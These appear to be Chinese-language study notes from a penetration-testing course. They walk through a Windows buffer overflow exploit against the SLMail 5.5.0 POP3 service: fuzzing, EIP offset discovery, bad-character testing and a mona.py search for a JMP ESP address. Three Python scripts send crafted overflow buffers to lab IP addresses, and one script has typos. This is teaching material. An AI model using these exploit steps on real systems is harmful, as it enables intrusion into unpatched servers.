引言
根据苑房弘老师讲的安全牛KALI渗透过程总结
FANGHONG.YUAN@163.COM
缓冲区溢出概念
-
什么是缓冲区?
内存中的一个片段,用来存储程序的临时数据
-
漏洞根源
计算机程序可以接收参数,但是数据放入之后代码和数据计算机可能无法辨别,导致数据混入代码执行
攻击者通过变形、构造来绕过过滤非法注入
-
什么是缓冲区溢出?
缓冲区边界没有做限制,用户输入的数据过大,溢出占用其他程序的缓冲区
-
如何发现缓冲区溢出?
- 源码审计
- 逆向工程
-
模糊测试
向程序堆栈半随机的数据,根据内存变化判断溢出
测试工具:识别溢出漏洞
Windows缓冲区溢出
-
环境简介
SLMail 5.5.0 Mail Server 缓冲区漏洞发现
ImmunituDebugger_1_85_setup.exe
mona.py
mona脚本放到immunity debugger的pyCommands目录下
FUZZER
-
DEP
保护机制,数据段的内容无法被当作代码段执行
-
ASLR
动态地址分配系统,程序加载调用的地址不固定
POP3
-
NC 192.168.197.132 110
USER xxx PASS xxx(数据足够大造成缓冲区溢出)
#!/user/bin.python import socket s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: print "\nSending evil buffer..." s.connect(('192.168.1.119',110)) data=s.recv(1024) print data s.send('USER xxx'+'\r\n') data=s.recv(1024) print data s.send('USER xxx'+'\r\n') data=s.recv(1024) print data s.close() print "\nDone!" except: print "Coulld not connect to POP3"
-
查RFC查看协议具体内容
-
EIP
EIP存放下一条指令的位置
-
过程
-
metasploit-framework/tools/pattern-create.rb 2700#生成唯一字符串,四个为一组,生成2700长度(现在kali貌似没有这个脚本了?只能import)
-
pattern_offset xxxx #计算xxxx在唯一字符串中的偏移量
-
得知溢出到覆盖EIP地址内容的字符串位置在哪
-
在指定内存空间存放shellcode
-
覆盖EIP导致系统直接跳转到指定位置执行shellcode
-
FUZZING
-
溢出测试
向服务器端口发送一定长度的字符串,查看debugger
-
二分法
用二分法检验多长字符串可以导致溢出,具体溢出与否查看EIP内容
-
唯一字符串
生成唯一字符串发送给服务器,用debugger查看EIP内容,返回唯一字符串中查找该EIP内容所在位置,即可推断出数据内容上限
#!/usr/bin/python import socket s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) buffer='A'*2606+'B'*4+'C'*900 try: print "\nSending evil buffer..." s.connect(('192.168.197.132',110)) date=s.recv(1024) s.send('USER test'+'\r\n') data=s.recv(1024) s.send('PASS'+buffer+'\r\n') print "\nDone!" except: print "Could not connect to POP3!"
-
-
检验坏字符
-
什么是坏字符
被系统过滤的字符,非法字符
-
过程
在原先溢出数据的基础上,将所有可能字符发送给服务器端,通过debugger查看哪些被过滤
#!/usr/bin/python import socket s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) badchars="\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" #\0a\00 buffer="A"*2607+"B"*4+badchars try: print "\nSending evil buffer..." s.connect(('192.168.197.132',110)) date=s.recv(1024) s.send('USER test'+'\r\n') data=s.recv(1024) s.send('PASS'+buffer+'\r\n') print "\nDone!" except: print "Could not connect to POP3!"
-
理想状态下是找到溢出长度,测试ESP长度,填入shellcode,更改EIP指向地址为ESP,但是ESP的地址并不是固定的,系统重启或者内存地址会更改,会导致无法找到ESP进行shellcode执行
-
变通思路
-
系统自带模块
找到固定地址的系统自带模块,其中会包含大量的指令,不免有
JMP ESP
这一条地址跳转指令,由该指令间接跳转到ESP执行shellcode
-
mona.py
mona脚本识别内存模块,搜索
return address
是JMP ESP
指令的模块在immunity debugger最下方的输入框可以执行外部的python脚本
!mona modoules#查看所有模块 #Rebase属性表示系统重启之后内存地址是否发生变化,我们要找的肯定是False #后面三个属性是操作系统保护机制,我们要找不受保护的模块 #OS DLL必须为true,就是系统自带的库,只有系统自带我们才能在不同的机器上执行 Openc32.dll符合,要继续找有没有JMP ESP !mona find -s "" -m Openc32.dll #不能直接找JMP ESP,现在的层面是操作系统层面,只能找命令对应的二进制而不是汇编指令
-